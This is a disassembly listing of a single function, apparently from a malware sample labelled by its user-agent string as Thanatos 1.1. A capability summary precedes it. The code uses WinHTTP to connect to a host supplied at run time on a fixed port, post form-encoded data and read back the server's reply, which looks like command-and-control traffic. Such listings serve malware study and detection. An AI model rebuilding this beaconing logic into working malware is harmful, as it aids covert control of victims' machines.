Function at 0x4012d0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xc8
cmp dword [ebp + 0x50], 0x10
lea eax, [ebp + 0x3c]
push esi
cmovae eax, dword [ebp + 0x3c]
mov esi, eax
mov dword [esp + 0x1c], eax
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4012f2
push ecx
lea eax, [ebp + 0xc]
sub esi, ecx
push eax
lea eax, [esp + 0x60]
push eax
call fcn.00401210
push ecx
lea eax, [ebp + 0x24]
push eax
lea eax, [esp + 0x48]
push eax
call fcn.00401210
mov edi, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__Thanatos_1.1
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov dword [esp + 0x2c], 0
mov dword [esp + 0x4c], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ecx, eax
mov dword [esp + 0x3c], ecx
test ecx, ecx
je 0x40164c
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0
cmovae eax, dword [esp + 0x5c]
push 0xcff2
push eax
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x401642
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
cmovae eax, dword [esp + 0x40]
mov dword [esp + 0x14], eax
lea eax, [ebp + 0x54]
push eax
lea eax, [esp + 0x8c]
push eax
call fcn.00402cd0
cmp dword [eax + 0x14], 8
jb 0x4013b5
mov eax, dword [eax]
push 0
push 0
push 0
push 0
push dword [esp + 0x24]
push eax
push dword [esp + 0x34]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x14], eax
cmp ecx, 8
jb 0x401416
mov edx, dword [esp + 0x88]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401408
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017fa
push ecx
push edx
call fcn.00403658
mov eax, dword [esp + 0x1c]
add esp, 8
xor ecx, ecx
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 7
mov word [esp + 0x88], cx
test eax, eax
je 0x401636
push ecx
push esi
push esi
push dword [esp + 0x2c]
mov esi, dword [esp + 0x24]
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x40162b
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x40162b
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov eax, dword [esp + 0x18]
inc eax
push eax
call fcn.00403666
mov esi, eax
add esp, 4
mov eax, dword [esp + 0x18]
inc eax
push eax
push 0
push esi
call fcn.00405030
add esp, 0xc
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x1c]
push esi
push dword [esp + 0x20]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x401613
mov ecx, esi
mov dword [esp + 0x70], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4014e4
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x78]
call fcn.00401a90
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x401502
mov eax, dword [edi]
push dword [edi + 0x10]
push eax
push ecx
lea ecx, [esp + 0x7c]
call fcn.00401b70
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0xa0]
movaps xmmword [esp + 0xc0], xmm0
movaps xmmword [esp + 0xa0], xmm0
movq qword [esp + 0x20], xmm1
movq qword [esp + 0xb0], xmm1
cmp edi, eax
je 0x40159e
mov ecx, dword [edi + 0x14]
cmp ecx, 0x10
jb 0x401594
mov eax, dword [edi]
inc ecx
cmp ecx, 0x1000
jb 0x40157c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017fa
mov eax, edx
push ecx
push eax
call fcn.00403658
movaps xmm0, xmmword [esp + 0xc8]
add esp, 8
movq xmm1, qword [esp + 0x20]
movups xmmword [edi], xmm0
movq qword [edi + 0x10], xmm1
jmp 0x4015da
mov ecx, dword [esp + 0xb4]
cmp ecx, 0x10
jb 0x4015da
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017fa
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [esp + 0x84]
cmp ecx, 0x10
jb 0x401613
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401609
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017fa
push ecx
push edx
call fcn.00403658
add esp, 8
push esi
call fcn.00403623
mov esi, dword [esp + 0x18]
add esp, 4
cmp dword [esp + 0x18], 0
ja 0x401470
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
jmp 0x40163c
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [esp + 0x1c]
call esi
push dword [esp + 0x3c]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [esp + 0x54]
cmp ecx, 8
jb 0x401688
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40167e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ff
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [esp + 0x6c]
xor eax, eax
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 7
mov word [esp + 0x40], ax
cmp ecx, 8
jb 0x4016db
mov edx, dword [esp + 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4016d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ff
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp + 0x20]
xor eax, eax
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 7
mov word [esp + 0x58], ax
cmp ecx, 0x10
jb 0x401726
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40171c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ff
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp + 0x38]
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 0xf
mov byte [ebp + 0xc], 0
cmp ecx, 0x10
jb 0x40176c
mov edx, dword [ebp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401762
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ff
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp + 0x50]
mov dword [ebp + 0x34], 0
mov dword [ebp + 0x38], 0xf
mov byte [ebp + 0x24], 0
cmp ecx, 0x10
jb 0x4017ae
mov edx, dword [ebp + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4017a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ff
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp + 0x68]
mov dword [ebp + 0x4c], 0
mov dword [ebp + 0x50], 0xf
mov byte [ebp + 0x3c], 0
cmp ecx, 0x10
jb 0x4017f0
mov edx, dword [ebp + 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4017e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017ff
push ecx
push edx
call fcn.00403658
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x64
call fcn.004068c8
call fcn.004068c8
int3